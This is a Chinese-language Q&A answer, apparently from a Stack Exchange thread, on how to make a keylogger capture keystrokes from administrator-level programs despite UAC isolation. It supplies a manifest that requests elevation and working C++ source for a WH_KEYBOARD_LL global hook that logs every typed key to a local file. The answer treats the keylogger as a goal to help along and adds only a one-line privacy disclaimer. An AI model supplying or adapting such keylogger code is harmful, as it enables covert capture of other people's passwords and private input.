非管理员权限下GetAsyncKeyState无法捕获管理员程序按键如何解决？

Windows的UAC（用户账户控制）权限隔离机制会阻止低权限进程读取高权限进程的输入状态。你的键盘记录程序以普通用户权限运行，而管理员权限的记事本属于更高权限层级，因此GetAsyncKeyState无法捕获其按键输入。

1. 以管理员权限运行键盘记录程序 #

这是最直接的解决方式：

• 右键点击程序，选择「以管理员身份运行」，此时程序权限与管理员级别的记事本对等，GetAsyncKeyState可以正常捕获按键。
• 若要让程序启动时自动请求管理员权限，可以在项目中添加应用程序清单（manifest）文件，指定权限等级：
  创建一个名为app.manifest的文件，内容如下：

  <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
  <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
      <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
          <security>
              <requestedPrivileges>
                  <requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>
              </requestedPrivileges>
          </security>
      </trustInfo>
  </assembly>
  

  将该文件添加到C++项目中，编译后程序启动时会自动弹出UAC提示，获取管理员权限。

2. 使用全局低级键盘钩子（WH_KEYBOARD_LL） #

GetAsyncKeyState是轮询式的按键检测，而SetWindowsHookEx的WH_KEYBOARD_LL低级钩子通过消息拦截的方式捕获键盘输入，更适合跨场景的键盘记录。需要注意：

• 即使使用低级钩子，若要捕获管理员进程的输入，钩子进程仍需具备管理员权限。
• 核心示例代码（简化版）：

  #include <windows.h>
  
  HHOOK hKeyboardHook;
  
  LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
      if (nCode >= 0 && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) {
          KBDLLHOOKSTRUCT* pKeyBoard = (KBDLLHOOKSTRUCT*)lParam;
          // 处理按键，比如写入日志文件
          char key = MapVirtualKey(pKeyBoard->vkCode, MAPVK_VK_TO_CHAR);
          if (key) {
              FILE* fp = fopen("dat.txt", "a");
              if (fp) {
                  fputc(key, fp);
                  fclose(fp);
              }
          }
      }
      return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
  }
  
  int main() {
      hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle(NULL), 0);
      if (!hKeyboardHook) return 1;
  
      MSG msg;
      while (GetMessage(&msg, NULL, 0, 0)) {
          TranslateMessage(&msg);
          DispatchMessage(&msg);
      }
  
      UnhookWindowsHookEx(hKeyboardHook);
      return 0;
  }
  

  这段代码通过低级钩子捕获键盘消息，相比轮询更高效，也能更好地兼容不同权限场景（需配合管理员权限）。

• 键盘记录程序可能涉及隐私合规问题，请确保在合法合规的场景下使用。
• 管理员权限的程序会受到系统更严格的限制，部分杀毒软件可能会拦截此类程序，需提前做好测试。

内容的提问来源于stack exchange，提问作者Quynh Chi